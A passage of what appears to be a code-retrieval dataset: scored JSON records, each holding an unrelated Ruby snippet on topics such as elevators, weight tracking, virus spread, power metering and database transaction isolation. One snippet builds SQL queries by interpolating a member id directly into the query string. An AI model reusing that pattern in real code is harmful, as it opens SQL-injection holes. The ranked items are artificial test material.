#{@id}\"\n end\n\n # Freeze elevator until weight goes back to normal\n if (@movement != \"idle\")\n @movement = \"idle\"\n end\n \n @door.open_door()\n end\n end", "title": "" }, { "docid": "0d9c34302b0367bac606d034f1a505f2", "score": "0.54391766", "text": "def weight_lost\n weight_fluctuate = current_weight - start_weight\n if current_weight < start_weight\n return \"Down #{weight_fluctuate}. We are making progress!\"\n else\n return \"Up #{weight_fluctuate}. We are making gains!\"\n end\n end", "title": "" }, { "docid": "573d91127b9a65c03e777e8df96077c6", "score": "0.54300076", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0 #this can be made into a class attribute allowing a getter\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n #Print method can be removed allowing information to be printed in the driver code\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "aa07bc0af270fe7e6472ac7afca320e4", "score": "0.54293776", "text": "def fuel_per_hour\n 10\n end", "title": "" }, { "docid": "98dc22f338c7c70c9e5ed442e93a4976", "score": "0.5428319", "text": "def boil_off_gallons_per_hour\n 1.0\n end", "title": "" }, { "docid": "37bef51ed6c5d39277b92e8b468010bd", "score": "0.5423638", "text": "def interesting_date\n marked_as_fast_growing_at\n end", "title": "" }, { "docid": "be09b16f1922cc9cb42714b891c2bc2e", "score": "0.5422459", "text": "def weighIntrade()\n\n end", "title": "" }, { "docid": "ed558e57067f3c40f9ece1f5eef7c564", "score": "0.54222417", "text": "def logToday(foodName)\n\t\tdate = Date.today\n\t\tfoodName.upcase!\n\t\tlogSpecificDate(foodName, date)\n\tend", "title": "" }, { "docid": "d4f45e14b511fecfed966352d3756f5b", "score": "0.54141337", "text": "def calculate_calories(bodyweight)\n\ttotal_calories = bodyweight * 13\n\treturn total_calories\nend", "title": "" }, { "docid": "509d8c6e3580c9fea1ad1253c04de285", "score": "0.5410443", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "8c5366bede42915fe54c4e31123f5a64", "score": "0.5407348", "text": "def tenders_ultimate(start, num, day)\n\nend", "title": "" }, { "docid": "cfa7559c3584ffb1eeacb94516c1baf0", "score": "0.54064256", "text": "def accumulated_power_used\n power_total = 0.0\n\n begin\n (1..3).each do |ipdp|\n (1..4).each do |eg|\n power_reading = @xml.xpath(\"//XMLdata//info8_IPDP#{ipdp}_eg#{eg}\")[0].content.to_f\n #$stderr.puts \"Power Reading Phase #{ipdp} Socket #{eg} Energy #{power_reading}KJ\"\n power_total += power_reading\n end\n end\n return power_total/3600.0\n \n rescue #If something is wrong with the data\n return 0.0\n end\n end", "title": "" }, { "docid": "4d2c82aa33a2bac6f3b62471ef864f05", "score": "0.54026294", "text": "def daily_morning\n logger.info \" daily_morning\"\n run('Newsletter', :send!)\n end", "title": "" }, { "docid": "424e40ac2a021df5cab58b4b229366aa", "score": "0.54020405", "text": "def lead_time\n 1\n end", "title": "" }, { "docid": "30c0d26bcaf1d0ffd222f455a7015def", "score": "0.54013926", "text": "def fortnights\n\t\treturn self * 2.weeks\n\tend", "title": "" }, { "docid": "30c0d26bcaf1d0ffd222f455a7015def", "score": "0.54013926", "text": "def fortnights\n\t\treturn self * 2.weeks\n\tend", "title": "" }, { "docid": "e6e173473f53217713a816c1d3c8f130", "score": "0.5396639", "text": "def current_bmi_alert(patient_weight, patient_height)\n weight = patient_weight\n height = patient_height\n alert = nil\n unless weight == 0 || height == 0\n current_bmi = (weight/(height*height)*10000).round(1);\n if current_bmi <= 18.5 && current_bmi > 17.0\n alert = 'Low BMI: Eligible for counseling'\n elsif current_bmi <= 17.0\n alert = 'Low BMI: Eligible for therapeutic feeding'\n end\n end\n\n alert\n end", "title": "" }, { "docid": "d06788d0437857bde2d975fd0d899efc", "score": "0.5396056", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{@speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "1a6363a1d254e09eb413bbcacc25b279", "score": "0.5395651", "text": "def get_metrics_latest\n get_metrics_days_back(45)\n end", "title": "" }, { "docid": "1c9ed4eb0988003f0d4e2d96ab6851c3", "score": "0.5392297", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "e9c0cd48aa9301afaa9823cb557b10d9", "score": "0.5387729", "text": "def current_power_usage\n begin\n power_being_used = 0.0\n\n (1..3).each do |ipdp|\n (1..4).each do |ap|\n power_reading = @xml.xpath(\"//XMLdata//info8_IPDP#{ipdp}_ap#{ap}\")[0].content.to_f\n power_being_used += power_reading #in Watts\n end\n end\n \n return power_being_used/1000.0 #in KW\n\n rescue #If something is wrong with the data\n return 0.0\n end\n end", "title": "" }, { "docid": "6e7438cb27b688c13da4907f2ce4d2d1", "score": "0.53863436", "text": "def weeks ; self * 7.days ; end", "title": "" }, { "docid": "172596e5dab0469a0231bad05b338a58", "score": "0.5385699", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n#we can remove this and have it print within virus_effects so that this method does one thing\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "3d57f807b416c248cefb22eecebc81af", "score": "0.538545", "text": "def after_logged_trail_msg\n if current_user.is_trail_in_period?\n \"Your trial period expires in #{get_total_remaining_days(current_user.exp_date)} days, do you want to pay now?\"\n else\n \"\"\n end\n end", "title": "" }, { "docid": "75d081a82e52682abaa0c5ed79caec6b", "score": "0.53852826", "text": "def check_weights\n until ((@personal_credit_weight + @industry_weight + @biz_age_weight) == 1.0)\n puts \"Your weights do not add up to 100%. please correct this.\"\n new_weights\n end\n end", "title": "" }, { "docid": "c7718216b83eb404e3971787fb72eb5e", "score": "0.5383807", "text": "def call\n @swings = [{swing_start_date: Date.new(1993,1,8), swing_start_value: 426.88, change_percent: nil}]\n @trend_direction = :up\n @swing_start_value = 426.88 # 1/8/93 bottom\n @swing_start_date = Date.new(1993,1,8) # 1/8/93 bottom\n @mark = price_history.first[:high]\n set_threshold(price_history.first)\n\n price_history.each do |ph|\n binding.pry if ph[:timestamp].to_date == Date.new(2009,3,3) || $stop\n if @trend_direction == :up\n record_swing(ph) if ph[:low] < @threshold_value\n elsif @trend_direction == :down\n record_swing(ph) if ph[:high] > @threshold_value\n end\n\n set_threshold(ph)\n end\n\n swings\n end", "title": "" }, { "docid": "06ab1dfeb82389eccd5912c278093b00", "score": "0.5383575", "text": "def total_weight_loss(db, member_id) \n total_pounds= []\n today = Time.now.strftime(\"%m-%d\") \n weight = db.execute(\"SELECT * FROM members WHERE id='#{member_id}'\") \n updated_weight = db.execute(\"SELECT * FROM weight WHERE member_id='#{member_id}'\")\n updated_weight.each do |pounds|\n total_pounds << pounds['current_weight']\n end \n weight_loss = weight[0]['starting_weight'] - total_pounds.min \nend", "title": "" }, { "docid": "2090dda55eba1e97faad9bd3b0d30fcb", "score": "0.5381215", "text": "def average_weather\n message = \"Média para os proximos dias: \"\n 5.times do |t|\n date = Date.today + 1 + t\n message += forecast.average_temperature(date).to_s\n message += temp_type\n message += \" em \"\n message += date.strftime(\"%d/%m\").to_s\n message += \"#{t == 4 ? '.' : ',' } \"\n end\n message\n end", "title": "" }, { "docid": "e48133e4069f1ff7c68efe2a8f7b0f0c", "score": "0.53790146", "text": "def total_week_kwh_usage_until(date)\n raise \"Invalid argument: Please use a date value that is not in the future\" if (date > Time.now.utc.to_date)\n\n cumulative_daily_kwh_usage = 0.0\n (0..date.wday).each do |i|\n cumulative_daily_kwh_usage += self.total_day_kwh_usage_on(date - i.day)\n end\n cumulative_daily_kwh_usage\n end", "title": "" } ]
68e57a60b4061b03a92418f73e804125
Create a new isolation wrapper
[ { "docid": "dded81ed73bb9e78b21daa459060175b", "score": "0.6280152", "text": "def initialize(klass, *args, &block)\n @_requests = ::Queue.new\n @_results = ::Queue.new\n @_blocked = false\n @_source_thread = ::Thread.new do\n ::Zoidberg.logger.debug 'Starting the isolation request processor'\n ::Thread.current[:root_fiber] = ::Fiber.current\n _isolate!\n end\n @_build_args = [klass, *args, block]\n @_supervised = klass.include?(::Zoidberg::Supervise)\n ::Zoidberg.logger.debug \"Zoidberg object isolation wrap: #{@_build_args.inspect}\"\n end", "title": "" } ]
[ { "docid": "7117b7518ee268ca003210dab450696f", "score": "0.6157692", "text": "def run_in_isolation(&blk)\n require \"tempfile\"\n\n if ENV[\"ISOLATION_TEST\"]\n yield\n File.open(ENV[\"ISOLATION_OUTPUT\"], \"w\") do |file|\n file.puts [Marshal.dump(self.dup)].pack(\"m\")\n end\n exit!\n else\n Tempfile.open(\"isolation\") do |tmpfile|\n env = {\n 'ISOLATION_TEST' => self.class.name,\n 'ISOLATION_OUTPUT' => tmpfile.path\n }\n\n load_paths = $-I.map {|p| \"-I\\\"#{File.expand_path(p)}\\\"\" }.join(\" \")\n orig_args = ORIG_ARGV.join(\" \")\n test_opts = \"-n#{self.class.name}##{self.name}\"\n command = \"#{Gem.ruby} #{load_paths} #{$0} '#{orig_args}' #{test_opts}\"\n\n # IO.popen lets us pass env in a cross-platform way\n child = IO.popen(env, command)\n\n begin\n Process.wait(child.pid)\n rescue Errno::ECHILD # The child process may exit before we wait\n nil\n end\n\n return tmpfile.read.unpack(\"m\")[0]\n end\n end\n end", "title": "" }, { "docid": "252d4b3698ec8a34c618bcf541c0c97e", "score": "0.61123323", "text": "def get_transaction_isolation\n if block_given?\n @j_del.java_method(:getTransactionIsolation, [Java::IoVertxCore::Handler.java_class]).call(nil)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling get_transaction_isolation()\"\n end", "title": "" }, { "docid": "77ec2b166834ae46e3b17ecaf8183e53", "score": "0.604384", "text": "def ___super___\n isolation_context.instance\n end", "title": "" }, { "docid": "53db649a22fb3be896a95fd7a5c4bab0", "score": "0.5955365", "text": "def create_isolation_for(subj)\n proxy_members = @descriptor.instance_members\n events = @descriptor.events\n\n klass = Object.const_set(class_name(subj), Class.new)\n klass.class_eval do\n\n include subj\n include Interception\n\n proxy_members.each do |mem|\n nm = mem.name.to_s.to_sym\n define_method nm do |*args|\n b = nil\n b = Proc.new { yield } if block_given?\n isolation_context.send_message(nm, mem.return_type, *args, &b)\n end\n end\n\n\n end\n\n evts = events.collect do |evt|\n %w(add remove).inject(\"\") do |res, nm|\n res << <<-end_event_definition\n\ndef #{\"self.\" unless evt.instance_member?}#{nm}_#{evt.event_name}(block)\n isolation_context.#{nm}_event_subscription('#{evt.event_name}', :#{evt.instance_member? ? \"instance\" : \"class\"}, block)\nend\n\n end_event_definition\n end\n end.join(\"\\n\")\n klass.class_eval evts\n\n klass\n end", "title": "" }, { "docid": "56662fcfed1d98b2bd827b3047d2accd", "score": "0.5945476", "text": "def isolation_level; end", "title": "" }, { "docid": "56662fcfed1d98b2bd827b3047d2accd", "score": "0.5945476", "text": "def isolation_level; end", "title": "" }, { "docid": "a799f46835cdb7514d921c37008fed65", "score": "0.58105195", "text": "def set_transaction_isolation(isolation=nil)\n if isolation.class == Symbol && block_given?\n @j_del.java_method(:setTransactionIsolation, [Java::IoVertxExtSql::TransactionIsolation.java_class,Java::IoVertxCore::Handler.java_class]).call(Java::IoVertxExtSql::TransactionIsolation.valueOf(isolation),(Proc.new { |ar| yield(ar.failed ? ar.cause : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling set_transaction_isolation(#{isolation})\"\n end", "title": "" }, { "docid": "8e92176d2bf5def3d9826a35c5880e0f", "score": "0.57756907", "text": "def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end", "title": "" }, { "docid": "8e92176d2bf5def3d9826a35c5880e0f", "score": "0.57756907", "text": "def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end", "title": "" }, { "docid": "64a1a535be6d86865adea2d3f46711a6", "score": "0.57695854", "text": "def isolated_transaction(level = nil, &block)\n transaction do\n if level && !Rails.env.test?\n repository.adapter.execute(\"SET TRANSACTION ISOLATION LEVEL #{level.to_s.tr('_', ' ')}\")\n end\n\n block.call\n end\n end", "title": "" }, { "docid": "895d4b33e872fdff74c94622f491d302", "score": "0.5742381", "text": "def begin_isolated_db_transaction(isolation)\n raise ActiveRecord::TransactionIsolationError, \"adapter does not support setting transaction isolation\"\n end", "title": "" }, { "docid": "895d4b33e872fdff74c94622f491d302", "score": "0.5742381", "text": "def begin_isolated_db_transaction(isolation)\n raise ActiveRecord::TransactionIsolationError, \"adapter does not support setting transaction isolation\"\n end", "title": "" }, { "docid": "302067b9727b1876c730bea84dcabe6a", "score": "0.57107705", "text": "def begin_isolated_db_transaction(isolation)\n @connection.transaction transaction_isolation_levels.fetch(isolation, isolation)\n end", "title": "" }, { "docid": "f33e35a6d82dd8ca5a17a43d1983d664", "score": "0.5687621", "text": "def resource\n resource_klass.new(\n attributes.merge(\n new_record: false,\n Valkyrie::Persistence::Attributes::OPTIMISTIC_LOCK => lock_token\n )\n )\n end", "title": "" }, { "docid": "6ad533edeac553a8c7bd9137e224aae7", "score": "0.5683959", "text": "def persistence_wrapper\n ::ActiveRecord::Base.transaction(requires_new: true) do\n yield\n end\n end", "title": "" }, { "docid": "1f74d6afd7a3ac264a0ffc2a4b1cda41", "score": "0.56695294", "text": "def run_in_isolation(&blk)\n require \"tempfile\"\n\n if ENV[\"ISOLATION_TEST\"]\n yield\n test_result = defined?(Minitest::Result) ? Minitest::Result.from(self) : dup\n File.open(ENV[\"ISOLATION_OUTPUT\"], \"w\") do |file|\n file.puts [Marshal.dump(test_result)].pack(\"m\")\n end\n exit!\n else\n Tempfile.open(\"isolation\") do |tmpfile|\n env = {\n \"ISOLATION_TEST\" => self.class.name,\n \"ISOLATION_OUTPUT\" => tmpfile.path\n }\n\n test_opts = \"-n#{self.class.name}##{name}\"\n\n load_path_args = []\n $-I.each do |p|\n load_path_args << \"-I\"\n load_path_args << File.expand_path(p)\n end\n\n child = IO.popen([env, Gem.ruby, *load_path_args, $0, *ORIG_ARGV, test_opts])\n\n begin\n Process.wait(child.pid)\n rescue Errno::ECHILD # The child process may exit before we wait\n nil\n end\n\n return tmpfile.read.unpack1(\"m\")\n end\n end\n end", "title": "" }, { "docid": "3b4f86f07e4f3f7e929f33366921711a", "score": "0.56498796", "text": "def create_isolation_for(subj)\n members = @descriptor.instance_members\n class_members = @descriptor.class_members\n events = @descriptor.events\n class_events = @descriptor.class_events\n\n klass = Object.const_set(class_name(subj), Class.new(subj))\n klass.class_eval do\n\n include Interception\n\n # access to the proxied subject\n def ___super___\n isolation_context.instance\n end\n\n def initialize(*args)\n self\n end\n\n members.each do |mem|\n nm = mem.name.to_s.to_sym\n define_method nm do |*args|\n b = nil\n b = Proc.new { yield } if block_given?\n isolation_context.send_message(nm, mem.return_type, *args, &b)\n end unless nm == :to_string\n end\n\n class_members.each do |mn|\n mn = mn.name.to_s.to_sym\n define_cmethod mn do |*args|\n b = nil\n b = Proc.new { yield } if block_given?\n isolation_context.send_class_message(mn, nil, *args, &b)\n end\n end\n \n evts = (events + class_events).collect do |evt|\n %w(add remove).inject(\"\") do |res, nm|\n res << <<-end_event_definition\n \ndef #{\"self.\" unless evt.instance_member?}#{nm}_#{evt.event_name}(block)\n self.isolation_context.#{nm}_event_subscription('#{evt.event_name}', :#{evt.instance_member? ? \"instance\" : \"class\"}, block)\nend\n \n end_event_definition\n end\n\n end.join(\"\\n\")\n\n klass.class_eval evts\n \n #puts evts\n\n end\n\n klass\n end", "title": "" }, { "docid": "b33439b3c124935dd8efa8dd83bb6905", "score": "0.56024295", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "b33439b3c124935dd8efa8dd83bb6905", "score": "0.56024295", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "963361f3e7795330c1e726d322521981", "score": "0.559345", "text": "def supports_transaction_isolation?; end", "title": "" }, { "docid": "fad2ecdab673a0e027614e2e6bfd268b", "score": "0.55794597", "text": "def create(&block)\n Class.new(AdHoc, &block)\n end", "title": "" }, { "docid": "02777356d5792d0804a3b77a7ecf0cf1", "score": "0.5516959", "text": "def create(wrapper = FileWrapper.name)\n contract = create_contract(CONTRACT_NAME, CONTRACT_FILE_ABI, CONTRACT_FILE_CODE, gas_price: CONTRACT_GAS_PRICE, gas_limit: CONTRACT_GAS_LIMIT)\n wrapper.constantize.new(contract)\n end", "title": "" }, { "docid": "0f714a8321b131979700b147fa7dbaf8", "score": "0.5507398", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "680e0ab5dcd5cd55be84fa9417a7fc4e", "score": "0.54888284", "text": "def with_isolation(&block)\n begin\n block.call()\n rescue => err\n Rollbar.error(\"LoginChecker#with_isolation rescued\", err)\n end\n nil\n end", "title": "" }, { "docid": "bbb7d4e21493e876adb1a3d689ec2620", "score": "0.5483353", "text": "def with_wrapper(&blk)\n end", "title": "" }, { "docid": "e946e9de22ee0a4a323a17636b880125", "score": "0.54826874", "text": "def aasm_transaction(requires_new, requires_lock)\n raise(\"Define #aasm_transaction the AASM Persistence class.\")\n end", "title": "" }, { "docid": "7b06d11c5b61422d4f0257465fdbeb5d", "score": "0.5451999", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "7b06d11c5b61422d4f0257465fdbeb5d", "score": "0.5451999", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "7b06d11c5b61422d4f0257465fdbeb5d", "score": "0.5451999", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "a2b6ba3115c74d088206475522e95bcc", "score": "0.54012537", "text": "def run_isolated; end", "title": "" }, { "docid": "f100b9b0ee3b505ac2dfaf4f2d0d55ed", "score": "0.5393924", "text": "def begin_isolated_db_transaction(isolation)\n @connection.begin(isolation)\n end", "title": "" }, { "docid": "1719450a022e66ba44acb9217b76cbf1", "score": "0.53130335", "text": "def wrap(*args)\n\t\t\t\t\twrapper = self.new(@wrapped_klass.new(*args))\n\t\t\t\t\t\n\t\t\t\t\treturn wrapper unless block_given?\n\t\t\t\t\t\n\t\t\t\t\tbegin\n\t\t\t\t\t\tyield wrapper\n\t\t\t\t\tensure\n\t\t\t\t\t\twrapper.close\n\t\t\t\t\tend\n\t\t\t\tend", "title": "" }, { "docid": "bb5959f402dcabf593d8e1734b86b10f", "score": "0.5287229", "text": "def transaction\n raise NotImplementedError\n end", "title": "" }, { "docid": "a6d3bf1addd00e66e5f71e9012445d60", "score": "0.5276895", "text": "def create\n unit = UnitOfWork.new @provider\n unit.tap do\n if @transaction_manager\n unit.transaction_manager = @transaction_manager\n end\n\n unit.start\n end\n end", "title": "" }, { "docid": "9d347318b151cefcbded01dd3b364876", "score": "0.5261024", "text": "def isolate(subject, recorder = Caricature::MethodCallRecorder.new, expectations = Caricature::Expectations.new)\n Caricature::Isolation.for(subject, recorder, expectations)\nend", "title": "" }, { "docid": "f255f169e5959b94453508262ee3ac25", "score": "0.52203745", "text": "def new_transaction()\n Transaction.new(self)\n end", "title": "" }, { "docid": "98229ae9521bbd64fcab166fd8cf6707", "score": "0.5216885", "text": "def new(&block)\n Builder.new(&block).to_transport\n end", "title": "" }, { "docid": "98229ae9521bbd64fcab166fd8cf6707", "score": "0.5216885", "text": "def new(&block)\n Builder.new(&block).to_transport\n end", "title": "" }, { "docid": "8c0b4f83425ec9b60222d5344cf6fab9", "score": "0.52071977", "text": "def instantiate_split\n split_factory = SplitIoClient::SplitFactory.new(LOCAL_KEY)\n split_client = split_factory.client\n begin \n split_client.block_until_ready \n rescue SplitIoClient::SDKBlockerTimeoutExpiredException\n puts 'SDK is not ready. Decide whether to continue or abort execution' \n end \n split_client\n end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5186902", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5186902", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5186902", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5186902", "text": "def wrapped; end", "title": "" }, { "docid": "317594efa972e6c2f52818bf25e84edb", "score": "0.51796937", "text": "def new(&block)\n Builder.new(&block).to_transport\n end", "title": "" }, { "docid": "3e2d14383104e7437d8a85298d205ca0", "score": "0.51664245", "text": "def wrap_txn &block\n begin\n @repository.env.transaction !@mutable do |t|\n @txn = t\n\n case block.arity\n when 1 then block.call(self)\n else self.instance_eval(&block)\n end\n\n # and now we make sure we change it\n execute unless @rolledback\n @txn = nil\n end\n rescue => error\n raise error\n end\n end", "title": "" }, { "docid": "41b8e1cab05fa4e145d2505105ef91fd", "score": "0.51341486", "text": "def new(klass, &block)\n Builder.new(&block).to_transport(klass)\n end", "title": "" }, { "docid": "fc55a5f0234b113e4a8a6ab11cc4ac9e", "score": "0.5133804", "text": "def class\n Wrapper\n end", "title": "" }, { "docid": "fc55a5f0234b113e4a8a6ab11cc4ac9e", "score": "0.5133804", "text": "def class\n Wrapper\n end", "title": "" }, { "docid": "021484b4b47ad5bf14b7e204250ab94c", "score": "0.51333517", "text": "def wrapper(object, scope=wrapper_scope)\n Lightrail::Wrapper.find(object).new(object, scope)\n end", "title": "" }, { "docid": "1db7da909ea6170193198970439523ec", "score": "0.5131433", "text": "def create_new\n EzPool::ConnectionWrapper.new(connect, self)\n end", "title": "" }, { "docid": "ed445fb88060bb997e667e0e491aee43", "score": "0.512416", "text": "def wrapper\n raise unless Component.committed?\n Component.fetch_wrapper(fname)\n end", "title": "" }, { "docid": "c8735211ed739f6dbcf01b94d0957334", "score": "0.5118168", "text": "def wrap; end", "title": "" }, { "docid": "c8735211ed739f6dbcf01b94d0957334", "score": "0.5118168", "text": "def wrap; end", "title": "" }, { "docid": "40bc0ed0b7f87a6196718a81f8da2e0a", "score": "0.5116", "text": "def create_syncer\n if @get || @set\n accessor = BlockAccessor.new(@get, @set)\n elsif @accessor\n accessor = @accessor\n else\n raise Exception.new(\"You have to pass an accessor\")\n end\n\n @mapper = Mappers::WhenValue.new(@mapper)\n\n config = {\n source_accessor: accessor,\n mapper: @mapper,\n target_accessor: HAL::LinkAccessor.new(@rel, @default_value)\n }\n\n Syncers::CompositeSyncer.new(config)\n end", "title": "" }, { "docid": "bcdda1715363f05d42cd8cbba3ef2a2f", "score": "0.5105719", "text": "def new(&block)\n Context.new(&block)\n end", "title": "" }, { "docid": "5501533b082f0cd347b07e415138d245", "score": "0.5102139", "text": "def test_10_LockCreate\n\t\tprintTestHeader \"Session::Lock: Create\"\n\t\trval = nil\n\n\t\tLockTypes.each {|uri, type|\n\n\t\t\t# Should be able to a lock\n\t\t\tassert_nothing_raised do\n\t\t\t\trval = Arrow::Session::Lock.create( uri, @id )\n\t\t\tend\n\n\t\t\t# Lock should support locking/unlocking/predicate methods\n\t\t\tassert_equal type, rval.class.name\n\n\t\t\t[\n\t\t\t\t:read_lock, :write_lock, \n\t\t\t\t:with_read_lock, :with_write_lock,\n\t\t\t\t:locked?, :read_locked?, :write_locked?,\n\t\t\t\t:read_unlock, :write_unlock, :finish\n\t\t\t].each do |meth|\n\t\t\t\tassert_respond_to rval, meth\n\t\t\tend\n\t\t}\n\n\t\taddSetupBlock {\n\t\t\t@locks = LockTypes.keys.collect {|uri|\n\t\t\t\tArrow::Session::Lock.create( uri, @id )\n\t\t\t}\n\t\t}\n\t\taddTeardownBlock {\n\t\t\tunless @locks.nil?\n\t\t\t\t@locks.each do |lock|\n\t\t\t\t\tlock.finish\n\t\t\t\tend\n\t\t\t\t@locks = nil\n\t\t\tend\n\t\t}\n\tend", "title": "" }, { "docid": "dada4d58848d64869c45425fdbefc384", "score": "0.50909084", "text": "def requires_new_transaction=(_arg0); end", "title": "" }, { "docid": "dada4d58848d64869c45425fdbefc384", "score": "0.50909084", "text": "def requires_new_transaction=(_arg0); end", "title": "" }, { "docid": "7d36d4a0814874cd80d9cd0ae392cd29", "score": "0.50842047", "text": "def mock_AR_transaction\n Thread.current['open_transactions'] ||= 0\n\n Thread.current['open_transactions'] += 1\n yield \n Thread.current['open_transactions'] -= 1\n end", "title": "" }, { "docid": "30636e4a7e8e6d461018d8cf312707b3", "score": "0.5073051", "text": "def new_transaction(&block)\n transaction = Transaction.create!\n self.transactions << transaction\n\n if block\n block.call(transaction)\n sign(transaction)\n end\n\n return transaction\n end", "title": "" }, { "docid": "9fbd3410423ca75fbdae43a725f2953e", "score": "0.50665337", "text": "def wrapper\n self\n end", "title": "" }, { "docid": "ce745e65a6f5e42016020fc5f757fd42", "score": "0.5064878", "text": "def instrument_manager; end", "title": "" }, { "docid": "46f55920b221951cf4b83adac0bfed22", "score": "0.5063933", "text": "def with_lock(*args)\n ActiveSupport::Dependencies.interlock.permit_concurrent_loads do\n super(*args) do\n ActiveSupport::Dependencies.interlock.running do\n yield\n end\n end\n end\n end", "title": "" }, { "docid": "b68029bff088a752e3977995a6aadc07", "score": "0.5050621", "text": "def make_lock(lock_attr)\n if lock_attr[:id]\n # saved data\n account = User.find(lock_attr[:user_id]).account\n # Just for puts:\n lock_attr[:email] = account.email\n else\n account = Account.find_by_email(lock_attr[:email])\n lock_attr[:user_id] = account.user.id\n end\n puts 'Creating Lock for... ' + lock_attr[:email]\n if !lock_attr[:lock_serial]\n # (only in original case)\n lock_attr[:lock_serial] = 'SERIAL-' + lock_attr[:name] + account.user.id.to_s\n end\n lock_attr.delete :email\n lock = Lock.new(lock_attr)\n lock.id = lock_attr[:id] if lock_attr[:id]\n lock.save!\n # Create required owner's key.\n # Perhaps should be dumping and restoring keys too?\n make_key({\n :name => lock.name,\n :orientation => \"left\",\n :email => lock.user.account.email,\n :owner => lock.user.account.email,\n :notify_locked => true,\n :notify_unlocked => true,\n :notify_denied => true,\n })\nend", "title": "" }, { "docid": "5c1d4b4a251e69ddab4e0a4c873ee0d4", "score": "0.5040676", "text": "def transaction\n Transaction.new(self) { |block_args| yield(*block_args) }\n end", "title": "" }, { "docid": "e88d46a979a280be98c8b0956d58d190", "score": "0.5031195", "text": "def initialize\n @shim =\n if Humidifier.config.sdk_version_1?\n AwsAdapters::SDKV1.new\n elsif Humidifier.config.sdk_version_2?\n AwsAdapters::SDKV2.new\n elsif Humidifier.config.sdk_version_3?\n AwsAdapters::SDKV3.new\n else\n guess_sdk\n end\n end", "title": "" }, { "docid": "aadd9684f8b969ed6220989353891294", "score": "0.50196075", "text": "def isolation_level\n :repeatable_read\n end", "title": "" }, { "docid": "ff706c99282de26f329134aba07da356", "score": "0.50182253", "text": "def isolate\n development = false\n format = nil\n\n op.banner = \"Usage: realm isolate [PATH]\"\n op.separator \"Create an isolation template.\"\n\n op.on('--development', '-d', \"include development dependencies.\") do\n development = true\n end\n\n op.on('--gem', '-g', \"Generate a template for use via RubyGems.\") do\n format = :gem\n end\n\n op.on('--lib', '-l', \"Generate a template in YAML format.\") do\n format = :library\n end\n\n parse\n\n location = argv.first || Dir.pwd # TODO: Utils.locate_root ?\n\n library = $LOAD_MANAGER.add(location)\n\n generate_isolation_template(location, development, format)\n end", "title": "" }, { "docid": "16f4528f5f75d4a111a59da688a93f57", "score": "0.50084454", "text": "def supports_isolation_levels?\n false\n end", "title": "" }, { "docid": "46b6bad0590afe330611d2818bf2348b", "score": "0.50039387", "text": "def transaction(mode = T.unsafe(nil)); end", "title": "" }, { "docid": "4994f02f42ab079cd1e23cc18cadf734", "score": "0.5001325", "text": "def transaction_wrap opts = {} \n#--{{{\n ro = Util::getopt 'read_only', opts\n ret = nil\n if ro\n ret = yield \n else\n errors = []\n @transaction_retries_sc.reset\n begin\n ret = yield \n rescue => e\n #rescue SQLite::DatabaseException, SQLite::SQLException, SystemCallError => e\n case e\n when AbortedTransactionError \n raise\n when RollbackTransactionError \n raise\n else\n if @transaction_retries == 0\n raise\n elsif errors.size >= @transaction_retries\n error{ \"MAXIMUM TRANSACTION RETRIES SURPASSED\" }\n raise\n else\n warn{ e } if(errors.empty? or not Util::erreq(errors[-1], e))\n errors << e\n warn{ \"retry <#{ errors.size }>...\" }\n end\n sleep @transaction_retries_sc.next\n retry\n end\n end\n end\n ret\n#--}}}\n end", "title": "" }, { "docid": "840eae5b93fc0c44aa614a4a0d39422a", "score": "0.49885663", "text": "def transaction\n yield self if block_given?\n self\n end", "title": "" }, { "docid": 